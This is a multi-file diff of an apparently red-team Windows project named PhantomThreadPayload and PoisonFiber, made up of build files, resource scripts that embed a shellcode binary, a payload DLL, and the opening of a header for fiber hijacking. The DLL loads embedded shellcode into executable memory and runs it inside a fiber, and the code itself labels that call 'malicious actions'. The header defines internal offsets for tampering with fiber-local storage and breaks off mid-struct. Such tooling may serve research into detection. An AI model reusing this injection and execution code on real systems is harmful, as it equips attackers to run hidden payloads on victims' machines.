#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{5ab07432-5ff0-460f-99d2-79b263f76f67}</ProjectGuid>
|
||||
<RootNamespace>PhantomThreadPayload</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;PHANTOMTHREADPAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;PHANTOMTHREADPAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;PHANTOMTHREADPAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;PHANTOMTHREADPAYLOAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="payload.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="PhantomThreadPayload.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="c-shellcode-msgbox.bin" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,37 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="payload.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="PhantomThreadPayload.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="c-shellcode-msgbox.bin">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,71 @@
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include "resource.h"
|
||||
#include <cstdint>
|
||||
|
||||
extern "C" __declspec(dllexport) void PayloadFunc(LPVOID lpFiber);
|
||||
HMODULE hModulePayloadDll = NULL;
|
||||
void* shellcodeAddr = NULL;
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
hModulePayloadDll = hModule;
|
||||
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void LoadShellcodeFromResource()
|
||||
{
|
||||
// IDR_SHELLCODE_BIN1 - is the resource ID - which contains the shellcode
|
||||
// SHELLCODE_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
|
||||
HRSRC shellcodeResource = FindResource(hModulePayloadDll, MAKEINTRESOURCE(IDR_SHELLCODE_BIN1), L"SHELLCODE_BIN");
|
||||
DWORD shellcodeSize = SizeofResource(hModulePayloadDll, shellcodeResource);
|
||||
HGLOBAL shellcodeResouceData = LoadResource(hModulePayloadDll, shellcodeResource);
|
||||
|
||||
shellcodeAddr = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(shellcodeAddr, shellcodeResouceData, shellcodeSize);
|
||||
|
||||
}
|
||||
|
||||
void PayloadFunc(LPVOID lpFiber)
|
||||
{
|
||||
|
||||
// Load our shellcode from DLL resource.
|
||||
// Make sure shellcode returns without quitting otherwise Fiber & Thread will exit.
|
||||
LoadShellcodeFromResource();
|
||||
|
||||
while (true)
|
||||
{
|
||||
printf("[+] Executing as Unmasked Payload Fiber\n");
|
||||
|
||||
/*
|
||||
* START MALICIOUS ACTIONS!
|
||||
*/
|
||||
printf("\t[+] Executing shellcode from resource inside payload DLL\n");
|
||||
((void(*)())shellcodeAddr)();
|
||||
/*
|
||||
* END MALICIOUS ACTIONS
|
||||
*/
|
||||
|
||||
// printf("\t[+] Waiting in Payload Fiber\n");
|
||||
// Sleep(10000); // 10 seconds
|
||||
|
||||
// Supply address of primary (sleeping) fiber to switch back to
|
||||
printf("\t[+] Supplied return Fiber address: 0x%llx\n", (uint64_t)lpFiber);
|
||||
printf("\t[+] Switching back to primary Fiber\n");
|
||||
SwitchToFiber(lpFiber);
|
||||
// ->Resumption point here<- Hence using while true loop to prevent exiting
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by PhantomThreadPayload.rc
|
||||
//
|
||||
#define IDR_SHELLCODE_BIN1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,69 @@
|
||||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// English (United Kingdom) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)
|
||||
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK
|
||||
#pragma code_page(1252)
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// TEXTINCLUDE
|
||||
//
|
||||
|
||||
1 TEXTINCLUDE
|
||||
BEGIN
|
||||
"resource.h\0"
|
||||
END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""winres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
3 TEXTINCLUDE
|
||||
BEGIN
|
||||
"\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// shellcode_bin
|
||||
//
|
||||
|
||||
IDR_SHELLCODE_BIN1 shellcode_bin "c-shellcode-msgbox.bin"
|
||||
|
||||
#endif // English (United Kingdom) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{e628052d-2054-4ff2-838d-409a734cbc23}</ProjectGuid>
|
||||
<RootNamespace>PoisonFiber</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="poisonfiber.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="poisonfiber.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="PoisonFiber.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="c-shellcode-msgbox.bin" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="poisonfiber.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="poisonfiber.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="PoisonFiber.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="c-shellcode-msgbox.bin">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,183 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <cstdlib> // for strtoul
|
||||
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
#define Granulariy 0x10 // 0x10 for x64, 0x08 for x86.
|
||||
#define NtHeap 0xFFEEFFEE
|
||||
#define SegmentHeap 0xDDEEDDEE
|
||||
|
||||
// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/teb/index.htm
|
||||
#define HasFiberDataMask 0x004 // 6.0 and up.
|
||||
#define TebOffset_SameTebFlags 0x17EE // 6.0 and onwards.
|
||||
#define TibOffset_FiberData 0x20 // Pointer to current Fiber object
|
||||
|
||||
// For shellcode stored inside PoisonFiber resource.
|
||||
PVOID shellcodeAddr = NULL;
|
||||
DWORD shellcodeSize = NULL;
|
||||
|
||||
// https://github.com/wine-mirror/wine/blob/master/include/winternl.h
|
||||
typedef struct _FLS_CALLBACK
|
||||
{
|
||||
void* unknown;
|
||||
PFLS_CALLBACK_FUNCTION callback; // ~0 if NULL callback is set, NULL if FLS index is free.
|
||||
} FLS_CALLBACK, * PFLS_CALLBACK;
|
||||
|
||||
typedef struct _FLS_INFO_CHUNK
|
||||
{
|
||||
ULONG count; // number of allocated FLS indexes in the chunk.
|
||||
FLS_CALLBACK callbacks[1]; // the size is 0x10 for chunk 0 and is twice as the previous chunk size for the rest.
|
||||
} FLS_INFO_CHUNK, * PFLS_INFO_CHUNK;
|
||||
|
||||
typedef struct _GLOBAL_FLS_DATA
|
||||
{
|
||||
